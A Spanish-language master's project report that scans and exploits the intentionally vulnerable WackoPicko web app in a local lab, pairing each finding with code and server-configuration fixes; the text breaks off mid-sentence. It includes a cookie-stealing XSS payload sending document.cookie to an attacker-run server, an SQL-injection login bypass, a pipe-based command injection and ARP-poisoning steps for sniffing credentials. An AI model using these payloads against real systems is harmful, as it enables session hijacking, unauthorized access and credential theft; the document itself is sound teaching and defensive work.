wackopicko-solucion

Módulo
3. Desarrollo Seguro
Nombre y apellidos
Aitor Lebrón Ruiz
Fecha entrega
Este trabajo es el proyecto final del Módulo 3, Desarrollo Seguro, del máster en Ciberseguridad de
IMF Bussines School.
Consiste en un análisis pormenorizado de la aplicación web vulnerable
WackoPicko (​https://github.com/adamdoupe/WackoPicko ) disponible
en la imagen vulnerablewebapps disponible para descarga en ​http://www.vulnerablewebapps.org/​.
En este caso se instalará la imagen del servidor Linux en una máquina virtual gestionada por
Virtualbox en un sistema Windows 7 ultimate x64.
Además de identificar y confirmar las vulnerabilidades descubiertas por las herramientas de
escaneo automático se pide ofrecer soluciones para las mismas modificando el código de la
página web. Por último se solicita una serie de Buenas Prácticas a implementar en el proceso de
creación de una página web como la que nos atañe.
Contenido
1.Identificar todas las vulnerabilidades que tiene la aplicación
2
1.1 Resultado del análisis con VEGA
3
1.1.1 Alto (19) 5
1.1.2 Medio (151) 7
1.1.3 Low (24) 7
1.1.4 Info
7
1.2 Resultados del análisis con OWASP ZAP
8
1.2.1 Por nivel de severidad.
8
1.2.2 Por tipo de incidencia
9
1.3 El scanner de Burp Suite
11
2. Explotación de las vulnerabilidades
12
2.1 Cross Site Scripting Persistente y Reflejado
12
2.2 Inyección SQL
18
2.3 Inyección remota de comandos
21
2.4 Exploración de directorios
25
2.5 Manipulación de parámetros
27
2.6 Falla de seguridad en HTTP
28
2.7 Aplicación de voucher de descuento ilimitada
38
2.8 Archivo de información PHP
40
2.9 Debilidad de las contraseñas
44
2.10 Remote File Upload.
46
2.11 Obteniendo el control del servidor.
50
2.12 Recomendaciones de Buenas Prácticas a implementar.
53
3. Conclusiones
54
1. Identificar todas
aplicación
las
vulnerabilidades
que
tiene
la
Si bien el enunciado del apartado determina que se deben usar alguna de las herramientas
sugeridas para escanear de manera automática la web WackoPicko, me ha parecido interesante
hacer una confrontación de los resultados obtenidos por una y por otra aplicación. Aquí se
recogen los resultados tanto del escaneo automático con VEGA y con OWASP ZAP. Ambas
herramientas han sido ejecutadas en su última versión desde un equipo con Kali-linux como
sistema operativo.
En este proceso de análisis con ambas herramientas vemos como las posibles vulnerabilidades
encontradas en la web se reflejan tanto en una aplicación como en la otra, en la siguiente tabla es
evidente que VEGA arroja más resultados, aunque en esencia son los mismos en ambos casos.
El uso de estas herramientas facilita el análisis de una web en busca de posibles fallos, si bien
debe tenerse en cuenta que, todos los arrojados en las aplicaciones no son siempre todos los que
existen o algunos que se marcan como encontrados, puede que no lo sean.
Por eso, ante las alertas generadas por cada aplicación habrá que realizar un proceso de
verificación de la vulnerabilidad, este proceso se tratará en el segundo apartado del presente
trabajo “Explotación de las vulnerabilidades”.
VEGA
OWASP ZAP
Cleartext Password over HTTP
Cross Site Scripting Persistente
Cross Site Scripting
Cross Site Scripting Reflejada
MySQL Error Detected
Falla por inyección SQL
Page Fingerprint Differential
Inyección remota de comandos OS
Session Cookie Without HttpOnly Flag
Exploración de directorios
Shell injection
Manipulación de parámetros
SQL injection
X-Frame-Option Header not Set
Local Filesystem Paths Found
Cookies sin HttpOnly flag
PHP Error Detected
Web Browser XSS protection not enabled
Directory Listing
X-Content-Type-Options
definir
Form
Password
Autocomplete
Field
Header
with
Blank Body Detected
Character Set not Specified
Rojo​: Nivel de severidad ALTO
Naranja​: Nivel de severidad MEDIO
2
sin
HTTP Error Detected
X-Frame-Option Header not set
Verde​: Nivel de severidad BAJO
Azul​: Información
A continuación se ofrece un pequeño resumen de los resultados obtenidos con ambas
herramientas tras realizar un análisis a la web WackoPicko alojada en 192.168.1.113:81 (esta
dirección cambiará a lo largo del documento)
1.1 Resultado del análisis con VEGA
Vega es una herramienta para Linux que analizará recursivamente un servidor web, esto es, en
todas las páginas visibles analizará su estructura e intentará diferentes sistemas de intrusión de
manera automática. Para hacernos con la herramienta Vega, desde una terminal ejecutaremos la
orden: $
​ sudo apt-get install vega​. Los paquetes se descargarán e instalarán y para ejecutarla
bastará con introducir ‘vega’ en la terminal.
El funcionamiento de Vega es muy sencillo e intuitivo, bastará con que introduzcamos la URL de la
página que se desee escanear. Posteriormente nos da la opción de realizar el escaneo con una
identidad válida en la web. En este caso el escaneo es como usuario anónimo. Tras unos minutos,
Vega terminará el escaneo y aglutinará los resultados en la pantalla.
3
Vega clasifica ocurrencias en diferentes tipos de vulnerabilidad encontrados en la página de
WackoPicko. Nos los muestra organizados por grado de severidad en: Alto, Medio, Bajo y añade
una sección de información.
Una de las características de este tipo de herramientas es que, durante el proceso de búsqueda
de vulnerabilidades y como consecuencia de sus intentos de encontrar dichas vulnerabilidades,
dejan la web llena de ‘​huellas​’. Un atacante que lance una herramienta de estas dejará clara
constancia de que alguien ha intentado explotar las vulnerabilidades de la web ya que deja cientos
de comentarios, registra usuarios con nombres genéricos (ZAP),… Este tipo de información
residual tras un intento de ataque debiera alertar a cualquier ​webmaster que se preocupe por su
página web. Además el administrador de la página deberá actuar en consecuencia al resultado de
lescaneo, es por eso que, en base a este tipo de comentarios, usuarios,... se podrían crear alertas
a modo de IDS. Por ejemplo, si se crea un comentario o un usuario con nombre: ZAP, VEGA,
query, <script>,…
4
1.1.1 Alto (19)
Vega encuentra 19 incidencias de grave riesgo en el diseño de la página, a su vez nos las
identifica por tipo de vulnerabilidad. El nivel que otorga a las incidencias está fundamentado en
base a lo común, lo fácil y el nivel de incidencia que la explotación de dichas vulnerabilidades
pudiera tener en nuestro servidor.
Cleartext Password over HTTP​ (3)
En aquellas páginas de acceso en las que la información es enviada a través de protocolo HTTP,
esta información es sensible a ser descubierta por un atacante que se encuentre en la red. El uso
de HTTPS es recomendado para aquellas secciones de la web que traten información sensible
como las contraseñas.
En este caso WackoPicko es, presumiblemente, vulnerable a la interceptación de contraseñas en
las páginas /admin/, /admin/login.php y /passcheck.php
Cross Site Scripting​ (3)
Todas aquellas secciones en las que los usuarios puedan introducir texto son críticas y deben ser
debidamente tratadas y sanitanizadas. Los ataques XSS (Cross Site Scripting) son consecuencia
de una laxa verificación de los caracteres insertables en la web. Esto acarrea como consecuencia
que los usuarios sean capaces de insertar códigos o scripts que puedan ser interpretados por el
navegador de los usuarios.
Vega encuentra con éxito 3 incidencias XSS en la web, estas se encuentran en /guestbook.php,
/pictures/search.php, /users/login.php y además vega incluye el código con el que ha probado la
existencia de esta vulnerabilidad. No obstante, aquí no aparecen reflejados todos aquellos
apartados en la web que son vulnerables a XSS. Por esto es importante confirmar las
vulnerabilidades y comprobar que estas no se reproducen en más campos de texto.
MySQL Error - Possible SQL Injection ​ /​ users/login.php
5
En este caso, la vulnerabilidad no está confirmada automáticamente por Vega. Para este caso nos
indica que ha probado la inclusión de una consulta POST en login.php con el contenido:
username=Joey’ -- > “>’>’” password=vega.​ Si se confirma esta inyección podríamos tener
resultados como el acceso a la web como un usuario X sin conocer su contraseña.
Page Fingerprint Differential - Possible Local File Include​ (4)
Para comprobar este tipo de vulnerabilidad, Vega revisa las URLs de la web de manera que
ejecuta consultas como ​/admin/?page=./. O ​/users/login.php?page=./. De tener éxito en esta
consulta podría indicar que se pueden llegar a incluir páginas de la estructura de la web.
Resultado del LFI
Session Cookie Without HttpOnly Flag
Uno de los ataques XSS más comunes es el robo de las cookies. Estas son identificadores de
usuarios válidos en la web, se almacenan para mejorar la navegación a través de la aplicación
permitiendo que el usuario no tenga que loguearse continuamente. En este caso Vega indica que
el parámetro HttpOnly no está establecido a la hora de generar las cookies y esto implica que el
valor de la cookie se puede leer y suplantar desde el lado del cliente.
Session Cookie Without Secure Flag
Al igual que en la eventualidad anterior, la web WackoPicko no tiene en cuenta las opciones de
seguridad añadidas en la generación de cookies, en este caso, Vega recomienda el uso de
Secure durante la generación de la cookie.
Shell Injection ​/passcheck.php
WackoPicko nos ofrece un servicio de comprobación de robustez en la contraseña que deseamos
probar, este campo, que parece inofensivo es un punto crítico de la aplicación web ya que hace
uso de los recursos del servidor para efectuar una comprobación. Esto se traduce en la ejecución
de un comando en el servidor. Vega hace una comprobación sencilla probando a insertar una
cadena en la que se encadenen diferentes comandos.
SQL Injection​ (5)
Vega comprueba introduciendo clásicas consultas SQLi con las que pretende confirmar la
existencia de este tipo de vulnerabilidad. En este caso Vega indica que, al menos en 5 ocasiones
ha encontrado la posibilidad de ejecutar un ataque de este tipo. Vega indica que en /admin,
6
/admin/index.php, /passcheck.php, /users/login.php y /users/register.php existe la posibilidad de
ocurrencia de inyección SQL.
1.1.2 Medio (151)
Local filesystem Paths found​ (24)
En este punto tenemos un listado de aquellas páginas php a las que se tiene acceso desde la
navegación natural de la web. Esto nos permite acceder al código de la página y por tanto, nos
facilita la visualización de posibles fallas en la programación de la misma y podremos orientar
diferentes ataques.
PHP Error Detected​ (127)
Esta sección de VEGA nos arroja los errores devueltos por la página durante su escaneo, pudiera
ser muy útil en muchos sentidos, así es como nos hacemos eco de posibles vulnerabilidades en la
web. Por ejemplo, mediante la interpretación de los errores devueltos por la web ante según qué
texto se introduzca en algún campo, podemos llegar a reconstruir la forma de la consulta SQL que
se realiza en determinado momento.
1.1.3 Low (24)
Directory Listing Detected​ (21)
En este punto, Vega indica aquellas URLs de la aplicación web que dejan al descubierto el
contenido de los directorios, se considera un evento de baja repercusión ya que, en principio, el
usuario que cae en dicha URL sólo puede ver el contenido de cada carpeta. Sin embargo y como
veremos más adelante, esta vulnerabilidad puede usarse de manera conjunta con otro tipo de
ataque (file upload) para convertirse en un ataque especialmente crítico.
Form Password Field with Autocomplete Enabled ​(3)
Vega advierte de aquellos formularios en los que la función de autocompletado está activada, esto
puede generar problemas de seguridad ya que un usuario Y puede llegar a leer aquella
introducción de texto de un usuario anterior X y por tanto, desclasificar algún tipo de información
que, a priori sería conveniente tener oculta. Así pues, podríamos saber el login del usuario que
utilizó el navegador previo a nosotros.
1.1.4 Info (​ 89)
Blank Body detected
Se descubre que /cart/add_coupon.php es una página en blanco. Si bien esto en sí mismo no es
una vulnerabilidad, pudiera indicar algún tipo de fallo en el diseño de la web o un error en el
funcionamiento de la misma.
Character Set Not Specified
7
Vega arroja información sobre la construcción de la web. En este caso nos indica que no se ha
establecido un conjunto de caracteres válidos en la aplicación (como pudiera ser UTF-8) de
manera que un atacante pudiera escapar las restricciones por caracter haciendo uso de encoding
en un, por ejemplo, ataque XSS.
HTTP Error Detected​.
Aquí se nos muestran errores de HTTP encontrados durante el escaneo de la web. En este caso
devuelve un 403 Forbiden. Al acceder a /icons/.
X-Frame-Option Header Not Set​ (60)
En este caso Vega nos muestra aquellas páginas dentro de WackoPicko (60) en las que las
opciones de X-Frame no están establecidas. Esto puede acarrear problemas como click-jacking ya
que un atacante puede incluir marcos propios que redirijan a otro recurso. Se recomienda
establecer el header X-Frame en DENY, SAMEORIGIN o ALLOW-FROM.
1.2 Resultados del análisis con OWASP ZAP
Al igual que VEGA, ZAP es un programa que permite automatizar la prueba de diferentes fallas
contempladas en el proyecto OWASP.
OWASP ZAP se encuentra de manera nativa en Kali-Linux y bastará con buscarla en el menú de
herramientas ‘Webapps’
ZAP nos proporciona un informe detallado de aquellas pruebas que ha realizado y en las que ha
encontrado posibles vulnerabilidades. Además también incluye la prueba que ha realizado.
Si bien, ZAP organiza los 10 resultados por tipo de incidencia y por nivel de severidad.
1.2.1 Por nivel de severidad.
8
Alto​ (XSS persistente, XSS reflejado, SQLi, inyección remota de comandos)
Medio​ (Exploración de directorios, manipulación de parámetros, X-Frame-options)
Bajo​ (Cookie sin HttpOnly Flag, Navegador no protegido frente a XSS, X-Content-Type-Options)
Como se comentaba anteriormente, ZAP nos da un informe detallado de la vulnerabilidad
escaneada, cómo ha escaneado y por qué determina que es factible que exista dicha
vulnerabilidad.
1.2.2 Por tipo de incidencia
XSS Persistente
ZAP encuentra una posible vulnerabilidad XSS en la página /guestbook.php realizando la prueba
</p><script>alert(0);</script><p>
XSS Reflejado​ (3)
ZAP encuentra tres posibles vulnerabilidades XSS reflejadas en las páginas /users/login.php,
/pictures/search.php/ y en /guestbook.php realizando la prueba ​</p><script>alert(1);</script><p>
Falla por inyección SQL
9
ZAP determina que la inyección SQL puede ser posible en 3 ocasiones. En las páginas
/users/login.php, /users/logout.php y en /users/login.php por el método POST. Realiza la
comprobación: ​query' AND '1'='1' --
Inyección remota de comandos
En este caso la aplicación ZAP realiza una prueba con éxito en la página /passcheck.php forzando
la ejecución del comando sleep 15 mediante la consulta: ​ZAP &sleep 15 &
Exploración de directorios​ (11)
En este caso ZAP ofrece como resultado aquellos directorios que ofrecen una exploración de
listado. Esto permite al usuario ver el contenido de las carpetas en el servidor. Estos directorios
son: /cart/, /css/, /css/blueprint/, /pictures/, /upload/, /upload/doggie/, /upload/flowers/,
/upload/house/, /upload/toga/, /upload/waterfall/ y /users/.
Manipulación de parámetros​ (15)
ZAP manipula con el valor: ​online <b> los parámetros que se pueden pasar a la web. De esta
manera recoge los errores enviados por el servidor.
X-Frame-Options Header not Set​ (20)
En este apartado se listan aquellas páginas en las que la opción X-Frame-Options no está
habilitada, para la página WackoPicko parece ser que es generalizado el problema.
Cookie no HttpOnly Flag
ZAP identifica que durante la generación de la cookie no se utiliza la opción HttpOnly.
Web Browser XSS Protection Not Enabled​ (23)
ZAP avisa de que el navegador no tiene habilitada la opción anti XSS, algo que afecta a la
navegación en toda la web.
X-Content-Type-Options Header Missing​ (33)
La cabecera Anti-MIME-Sniffing X-Content-Type-Options no tiene el valor ‘nosniff’. Esto permite,
en versiones antiguas de Internet Explorer y Chrome construir un tipo MIME en el cuerpo de la
respuesta, permitiendo que el intérprete maneje este fichero como si fuera de un tipo de contenido
siendo de otro tipo al declarado.
La solución consiste en asegurar que el servidor web tiene la cabecera Content-Type
correctamente configurada y que el X-Content-Type-Options está establecido en ‘nosniff’ para
todas las páginas web.
Si es posible, asegurarse de que el Usuario final utiliza un navegador web que no procese ningún
tipo de MIME-sniffing o que pueda ser ordenador, por parte del servidor web a no realizarlo.
10
1.3 El scanner de Burp Suite
Si bien no se pide que se utilice esta herramienta, como para la realización de este trabajo se ha
empleado en numerosas ocasiones quería reflejar la capacidad de Burp Suite para identificar y
escanear vulnerabilidades en una web. Del mismo modo que lo hacen Vega u OWASP ZAP, Burp
Suite recorrerá los directorios y páginas de la web en busca de errores de diseño y fallas de
seguridad en la misma. También los organiza por el nivel de severidad en caso de explotarse
dichos fallos.
Una vez termina el escaneo, ofrece un listado de posibles vulnerabilidades encontradas y
sugerencias de corrección en el código para mitigar estos fallos.
En esta ocasión no se realiza el escaneo con esta herramienta por ser redundante y ya haber sido
escaneada (la web WackoPicko) con dos herramientas de análisis previamente.
11
2
Explotación de las vulnerabilidades
Explotar las vulnerabilidades, indicando cómo se ha explotado cada vulnerabilidad y cuál ha sido
el resultado. Proponer, al menos, una medida de prevención para cada vulnerabilidad analizada
(se entiende como medidas de prevención las modificaciones en el código donde se encuentra el
problema). Se podrán indicar medidas adicionales sobre buenas prácticas de seguridad relativas a
la tipología de la vulnerabilidad.
2.1 Cross Site Scripting Persistente y Reflejado
En esta ocasión se pone a prueba la vulnerabilidad conocida como XSS, el mismo problema se
encuentra en las dos variantes, persistente y reflejado de manera que se expone el caso del XSS
Persistente como muestra de ambos ya que el problema es similar y la solución pasaría por el
mismo procedimiento.
Así pues, tras observar los resultados devueltos por las aplicaciones de escaneo automático
vemos que en todos aquellos espacios en los que el usuario puede introducir texto y debido a la
falta de filtros en estas entradas se encuentra la vulnerabilidad; es un problema global en esta
página y no un caso aislado en alguna entrada de texto.
Una explotación clásica de esta vulnerabilidad es el robo de credenciales, la intercepción y uso de
una cookie legítima asignada a un usuario.
Se expone, en la siguiente figura, el esquema de ataque.
La idea es sencilla, el atacante tiene un servidor web con capacidad para subir y escribir ficheros,
en el caso expuesto este servidor web es un Apache2, con motor php 7.0 que se aloja en la
Raspberry Pi.
12
En este servidor tenemos una página php que recoge la cookie de un usuario y la escribe en un
fichero local, en el servidor Apache2. El propósito de esta página maliciosa es ser introducida,
cargada y ejecutada en el servidor a atacar, aparte de la cookie podríamos sustraer otras variables
de sistema como ​__User__, __Dir__,…
Debido a un problema de configuración, la redirección en el servidor no se ejecuta correctamente,
pero para fines didácticos es igual de válido.
Así que introducimos un código javascript que se ejecute automáticamente en el servidor de
WackoPicko, para esto nos valemos del Cross Site Scripting.
Usaremos:
<script>document.location=’http://192.168.1.2/lapurra.php?c=’+document.cookie</script>
No hace falta encodear los caracteres ‘< >’ ni modificamos la cadena script por la falta de
sanitización, además nos permite introducir un número lo suficientemente alto de caracteres como
para no tener que hacer uso de acortadores de URL.
Este comando carga la página ‘lapurra.php’ del servidor 192.168.1.2 (Raspberry Pi) y la ejecuta
con la variable ‘c’ almacenando el document.cookie del usuario que entre a la página en la que el
comentario se aloja. Al explotar un XSS Persistente, lo que conseguimos es que todos los
usuarios que caigan en esta página envíen la información de su sesión al servidor del atacante,
quien almacena en un archivo ‘log.txt’ los códigos de cookies robados.
Las cookies sirven para mantener la sesión del usuario, de manera que el robo y empleo de las
mismas permiten al atacante suplantar la identidad del usuario legítimo y realizar acciones, ver el
historial de cambios, modificar la información,… de todos los usuarios que caigan en la sección
donde el atacante haya dejado el código javascript malicioso.
Otro de los ataques típicos que hacen uso del Cross Site Scripting es el “defacement”, es decir, la
sustitución de la web original por una customizada. El ataque es el mismo, con la diferencia de
que la página php a la que llamamos, en lugar de realizar acciones (o incluso también) de robo de
credenciales sólo muestra un mensaje, una imagen que, típicamente, sirve para que el atacante
demuestre su éxito.
Evidentemente, las consecuencias de un ataque XSS son muchas, tantas como el atacante sea
capaz de idear.
2.1.1 Solución
Una de las maneras de paliar los efectos de ataques XSS es alterar el contenido del archivo de
configuración de Apache. En este caso, ya que nos encontramos en una máquina con Ubuntu
13
este fichero se encuentra en /etc/apache2/apache2.conf. En este caso consiste en introducir una
cabecera de seguridad.
Header set X-XSS-Protection “1;mode = block”
Estableciendo estos parámetros a la cabecera X-XSS-Protection tenemos habilitada la funcionalidad de
Apache que contiene un filtro XSS y que previene de renderizar la página solicitada en caso de
encontrar un ataque XSS.
Activaremos el mod_headers haciendo uso de a2enmod headers
Modificamos el fichero de configuración: /conf-enabled/security.conf
14
Se puede observar la nueva cabecera en la que están habilitados los filtros X-Content-Type-Options,
X-Frame-Options y X-XSS-Protection.
En este caso las modificaciones a realizar se han hecho en /pictures/search.php que también es
vulnerable a XSS y las siguientes medidas se deberían tomar para todos los casos en los que el
usuario introduzca texto. Además, en los cajetines de texto deberemos restringir la entrada de
caracteres, tendremos en cuenta:
Limitar los caracteres de entrada: usando la variable maxlength (nativa de html) podremos
establecer un número máximo de caracteres que se puedan introducir en cada campo. Teniendo
en cuenta el uso de la página y el tipo de formularios a incluir podríamos establecer un máximo de
15 o 20 caracteres, excepto para el campo de texto relativo al comentario en Guestbook y el
comentario de cada imagen.
Sanear los datos: Deberemos eliminar las Tags HTML que puedan entrar en los cuadros de texto,
a fin de cuentas, ningún usuario de la web necesita dar formato a sus comentarios, ni mucho
menos a su nombre, Nick u otros campos. Por eso se recomienda el uso de strip_tags. Tal que
$comentario=strip_tags($_POST[‘comentario’]);
15
Esto es aplicable a las demás variables que introduce el usuario.
Escapar los datos: Por último, podemos evitar mostrar los caracteres extraños en la respuesta de
la página, es decir, escapar aquellos caracteres que consideremos susceptibles de hostilidad.
.htmlspecialchars($_GET[‘query’])
Htmlentities($_GET[‘query’])
16
Finalmente se observa que, aun introduciendo una cadena de inyección XSS, esta pasa
desapercibida y no se ejecuta.
17
2.2 Inyección SQL
Al comienzo de este test de explotación de vulnerabilidad tenía en mente el realizar una serie de
pruebas con el fin de “volcar” el contenido de la base de datos de la web, sin embargo, desde la
página de login se encuentra riesgo de inyección SQL y con consecuencias tan graves que
finalmente se muestra el ejemplo de loggeo en la web sin el conocimiento de la contraseña de un
usuario creado (la cuenta de cualquier usuario creado es susceptible), este caso en particular es el
que nos sugieren las herramientas automáticas de escaneo de vulnerabilidades y es el que
pondremos a prueba.
En primer lugar se introduce el carácter de escape “ ’ ” y analizamos la respuesta
Como vemos en la respuesta hemos creado un error, esto indica que el carácter ‘ se puede
introducir y aquí comienza la vulnerabilidad SQLi.
Podemos intuir que la consulta que se realiza a la base de datos será de la forma:
SELECT * FROM ​users​ WHERE (username=’​$user’​ AND password=’​$pass​’);
Seguimos analizando el error devuelto y se observa que el nombre de usuario no recibe
tratamiento mientras que la contraseña (pass) se modifica con SAL y se encripta con SHA1.
También queda claro que se añade una comilla simple al final de la cadena, comprobamos
dejando una condición con el último carácter limpio y la respuesta es otra:
SELECT * FROM ​users​ WHERE (username=’user’ and ‘1’=’1’ AND password=’​$pass​’);
18
El usuario ha entrado con la consulta completa, pero la validación de contraseña sigue
ejecutándose, para evitar esto deberemos hacer uso del comentario.
La consecuencia de introducir el comentario, es que nuestra consulta se convierte en:
SELECT * FROM users WHERE (username=’scanner1’ -- ​’ AND password=’$pass’);
Nótese que tras el doble carácter de comentario se deja un espacio en blanco. De esta manera
obviamos la sección de la consulta en la que se requiere una contraseña para ingresar en la web.
El resultado, se puede entrar en la web sin utilizar una contraseña, siempre y cuando se utilice un
nombre de usuario ya creado. Estos nombres de usuario los podemos obtener observando la
sección de comentarios con un usuario ya creado o como se ilustra en el próximo apartado 2.5
Manipulación de parámetros.
En la figura se muestra el acceso a la web con el usuario “scanner1” sin haber introducido la contraseña
para el usuario.
Finalmente, como apunte cabe decir que una vez tengamos subida una Shell php al servidor
podremos atacar la base de datos e intentar ganar acceso a la misma mediante las herramientas
que algunas de estas shells tienen integradas.
19
2.2.1 Solución
Puesto que en el caso de los logins no nos importa el tipo de dato que el usuario introduce
(cadena o texto) obviaré
Mysql_real_scape_string(); Esta función propia de php analiza los caracteres introducidos por el
usuario uno por uno y modifica la consulta evitando los caracteres epeciales (comilla simple,
comillas dobles, \x00, \x1,…), de manera que se convierte en una ​query segura para ejecutar en
nuestro mySQL. Sin embargo en esta versión de php está desactivada pro ser una versión
posterior al php5.0, otra de las opciones que se dan es el empleo de la funcionalidad mySQLi
(donde la i viene de ‘improved’)
Sin embargo en este caso, escapearemos los caracteres extraños usando el htmlentities.
Como resultado tenemos, que introduciendo la cadena “scanner1’ – - “ no podemos acceder sin la
contraseña, como sí ocurría antes.
20
2.3 Inyección remota de comandos
En esta sección de la web, WackoPicko ofrece un servicio de comprobación de robustez de
contraseña a emplear, como indica en la información de la web hace uso del comando grep y
compara con el archivo /etc/dictionaries-common/words.
Esto indica, demasiado claramente, que sin la correcta sanitización del parámetro, se pueden
ejecutar comandos. La idea es que se introduce una cadena para que el comando grep haga su
trabajo y se continúa con otros. Como sabemos que el servidor es un Linux, el separador entre
comandos que vamos a emplear es ‘|’
En este caso, para comprobar que el ataque tiene efecto crearemos una carpeta en el servidor
WackoPicko. De hecho, la manera en que los programas automáticos comprueban la efectividad
de la inclusión de comandos es mejor que esta, el empleo del comando “sleep” y comprobar que
la página web tarda en responder tanto tiempo como especifiquemos, es un buen indicador de que
nuestra inyección de comandos está siendo fructífera. No obstante, por ser más gráfico en la
demostración realizo esta prueba.
21
Introducimos 1234 |mkdir ./upload/intrusión y comprobamos, desde el lado del servidor que esto
ocurre.
Es cierto que, con los permisos que tiene el usuario www-data estamos bastante restringidos en la
zona en la que podemos crear ficheros o carpetas y los comandos que se pueden utilizar.
Al intentar ejecutar algún comando con “sudo” he notado, en el lado del servidor, que se activa
una alerta mail para el usuario root, de parte del usuario www-data y que alerta de un intento de
ejecución.
En este caso, la web no permite ver la respuesta del equipo servidor, por ello presento los
cambios desde la máquina virtual.
22
2.3.1 Solución
23
En primer lugar observamos que la función que comprueba si la contraseña es robusta o no es
ciertamente básica.
OWASP recomienda realizar una correcta validación de los parámetros introducidos por el
usuario, evitar utilizar llamadas a comandos del sistema directamente (en lugar de usar mkdir(),
usar funciones como system(),en su lugar) y escapar los caracteres especiales con
escapeshellarg() o escapeshellcmd().
Lo ideal sería alterar la variable $pass tal que:
$pass = escapeshellcmd($pass);
En la imagen se observa que se introduce el carácter “\” previo al carácter de concatenación de
comandos “|”, esto evita que el comando se ejecute.
También deshabilitaremos el uso de funciones peligrosas en el archive php.ini valiéndonos de la
directiva “disable_functions”
Por ejemplo, podremos eliminar: exec, system, proc_open, popen, curl_exec, curl_multi_exec,
parse_ini_file, show_source.
disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
24
2.4 Exploración de directorios
Se comprueba que, efectivamente, los directorios: /cart/, /css/, /css/blueprint/, /pictures/, /upload/,
/upload/doggie/, /upload/flowers/, /upload/house/, /upload/toga/, /upload/waterfall/ y /users/ que
han sido arrojados por las herramientas automáticas de detección de fallos se pueden ver en su
directorio raíz.
25
Este fallo, que no parece tan crítico pues no permite más que la visualización del contenido de las
carpetas en el servidor puede convertirse en colaboración con otro ataque, en un fallo crítico y si el
contenido de las carpetas no está controlado, podría dar lugar a la desclasificación de información
sensible.
Navegando por la web entre los directorios sin un index encontramos un archivo interesante en
/include. Se llama ourdb.php y parece contener información relativa a la base de datos.
2.4.1 Solución
Deberemos deshabilitar la funcionalidad que permite mostrar los directorios en caso de no
encontrar un archivo “index”. Esto se consigue, en Apache mediante la modificación del fichero de
configuración donde deberemos establecer:
Options – Indexes
Añadiendo esta condición en /var/www/wackopicko se soluciona el problema de que el servidor
muestre el contenido de las carpetas sin un index.
26
2.5 Manipulación de parámetros
La falta de control en el diseño de la web nos permite manipular los parámetros fácilmente y en
múltiples puntos de la web. Por ejemplo, en la URL ​/users/view.php?userid= podemos introducir
valores numéricos del 1 al 11 para ver los perfiles de los usuarios creados. De aquí podremos
extraer un listado de nombre de usuarios válidos para poder usarlos posteriormente con alguna
herramienta de brute-forcing y descubrir la contraseña para los usuarios válidos. Nos ahorrará
tiempo en la búsqueda de usuarios válidos pues la misma web nos los ofrece. De esta exploración
obtenemos los nombres:
userid
username
1
User
2
bob
3
--
4
scanner1
5
scanner2
6
scanner3
7
scanner4
8
scanner5
9
wanda
10
calvinwatter
11
bryce
Además de esta información, la manipulación de parámetros nos permite acceder a las versiones
en alta resolución de las imágenes sin haberlas comprado. Esto es una suposición ya que al
intentar realizar pruebas modificando la URL ​/pictures/high_quality.php?picid=10&key=highquality
alterando el picid la web arroja un error que no debería, parece ser que algo está mal montado en
esta imagen.
Esta conclusión se extrae tras haber comprado una de las imágenes, y nunca llegó a mostrarse de
manera que estuve indagado en el funcionamiento correcto de la aplicación en foros de Internet.
27
Y sin embargo, el fichero “highquality.php” está.
2.5.1 Solución
La major solución que se presenta es el evitar que los parámetros se puedan incluir en una
consulta o cadena, incluso en un formulario oculto
Los parámetros que deban ser enviados desde el cliente al servidor deberán ser acompañados
por un validador, una especie de Token que se pueden almacenar en la cookie de sesión del
usuario.
En caso de que la variable a enviar no se pueda eliminar, lo ideal será que esta sea resultado de
una encriptación con MD5 (​MD5 digest)​ así nos aseguraremos de que este parámetro, aunque
permanezca visible, no será legible. Esto nos permite asegurar que el valor no será leído por
alguien o el valor reemplazado.
2.6 Falla de seguridad en HTTP​, escucha de la contraseña por no estar encriptada
Este tipo de fallo en la seguridad de la web es crítico y fácil de mitigar, sin embargo, es muy
frecuente ver que muchas páginas de acceso están programadas para funcionar en HTTP y no
HTTPS. La diferencia entre los dos protocolos es que, mientras HTTP envía la información en
texto plano, HTTPS lo hace de manera encriptada.
Esta falla es crítica ya que, en las páginas relacionadas con el login de un usuario, un atacante
podrá extraer la información de login si realiza un ataque MiTM (​Man in The Middle)​ .
28
Este será el tipo de ataque que llevaremos a cabo para comprobar que, efectivamente, se puede
‘sniffear’ las credenciales de acceso de un usuario.
Buscamos en la red, nuestro objetivo.
Nmap - Pn 192.168.1.0/24 → 192.168.1.113
Nmap scan report for 192.168.1.113
Host is up (0.0091s latency).
Not shown: 994 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
81/tcp open hosts2-ns
82/tcp open xfer
5001/tcp open commplex-link
8080/tcp open http-proxy
MAC Address: 08:00:27:B9:64:8F (Oracle VirtualBox virtual NIC)
De este escaneo tenemos como resultado un listado de todos los equipos conectados a la red. El
resultado mostrado arriba es el relativo al servidor web donde vemos los servicios que tiene
funcionales y los puertos que tiene abiertos.
Para realizar el ataque MiTM se emplea la herramienta Ettercap.
Ettercap 0.8.2 >> Unified sniffing (ARP: sniff remote connections && only poison one way: + Port
Stealing: sniff remote connections:) >> Enter targets >> 192.168.1.190
Tras establecer la configuración del ataque MiTM deberemos abrir Wireshark y comenzar la
‘escucha’ de las conversaciones en la red.
29
Ahora, en el equipo 192.168.1.190. Realizamos el login con una cuenta y usuario conocidos, en
este caso: scanner1:scanner1 y salimos de la aplicación.
Wireshark >> Wlan0 >> ip.src==192.168.1.190&&tcp
Observamos nuestras capturas de Wireshark y filtramos aquellas que provienen del equipo al que
‘​escuchamos’​ y el protocolo TCP.
Encontramos así las comunicaciones entre la página web WackoPicko y el cliente 192.168.1.190.
Buscamos aquellas páginas que nos parezcan interesantes, obviamente login.php es nuestro
objetivo.
Hacemos uso de la opción ​Follow HTTP stream,​ que nos recopila las comunicaciones HTTP
relativas a esta acción y nos muestra el contenido de las mismas.
30
Al abrir el contenido de la comunicación vemos la falla en HTTP, las credenciales de acceso a la
web se envían sin ser encriptadas y podemos leerlas sin problema desde nuestro Kali-Linux.
También tenemos acceso a la Cookie sin ser controlada, de manera que podríamos suplantar al
usuario scanner1 sin problema.
Esta vulnerabilidad estaría presenta también en la página de login para administradores
/admin/index.php?page=login donde las variables a buscar en wireshark serían adminname y
password.
31
2.6.1 Solución
Forzar la aplicación web para que use encriptación en la comunicación con el usuario, nos
valdremos del protocolo HTTPS y para ello deberemos configurar el servidor y la aplicación.
Cuando se habilita SSL en un servidor las páginas que éste albergue no se redireccionan
